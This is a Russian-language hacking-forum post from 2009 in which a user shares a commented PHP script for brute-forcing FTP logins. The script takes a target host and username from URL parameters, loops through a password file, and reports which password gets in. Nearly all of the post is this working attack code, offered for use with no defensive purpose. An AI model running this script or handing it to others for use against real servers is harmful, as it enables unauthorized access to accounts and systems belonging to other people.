Показать сообщение отдельно

[php] ftp Брут
  #583  
Старый 12.01.2009, 02:16
Design_Corn
Новичок
Регистрация: 15.07.2008
Сообщений: 10
С нами: 9380681

Репутация: 9
Thumbs up [php] ftp Брут

Вдруг понадобился брут фтп сервера.
Решил показать вам код и прокомментировать его.


PHP код:
<?php


//@Coder - Capcha
//@PHP ftp Brute v.1.0 ;)

 
 //Config//
 
$host $_GET['host']; //Передаём переменной $host IP адресс нашего фтп, через GET запрос
 
$passwords "pass.txt"//Файл с паролями
 
$user $_GET['user']; //Передаём переменной $user логин от сервера
 //------//
 
 //Script//
 
if(isset($host)){ //Если существует переменная $host, т.е. если она не равна NULL, то
     
$pass file($passwords); //каждую строку файла заганяем в каждую клетку массива переменной $pass
     
foreach($pass as $line){ //переменной $line придаётся значение каждой клетки массива
         
@$conn ftp_connect($host); 
         if(!@
$conn){ //Если не удалось приконнектится, то
             
die("<font color=orange>Connection Error</font>"); //заканчиваем работу скрипта
         
} else { //Иначе, если получилось приконнектиться, то
             
$line trim($line); //отчищаем переменную $line от пробелов и от \n
         
echo $line." - "//выводим пароль на екран
         
@$login ftp_login($conn,$user,$line); 
         if(!@
$login){  //Если не удаётся зайти на сервак под этим пассом и логином, то
             
echo "<font color=red>Access Denied</font><br>"//выводим-с это и
             
@ftp_close($conn);//закрываем соединение
             
} else { //Иначе если удалось залогиниться, то
                 
echo "<font color=green>Access Grunted</font><br>";//выводим вот это
                 
@ftp_close($conn); //Закрываем соединение
             
}
        }
     }
 }
?>
Как использывать скрипт?
Цитата:
Собственно и всё, задавайте свои вопросы, если таковые имеются.
 
Ответить с цитированием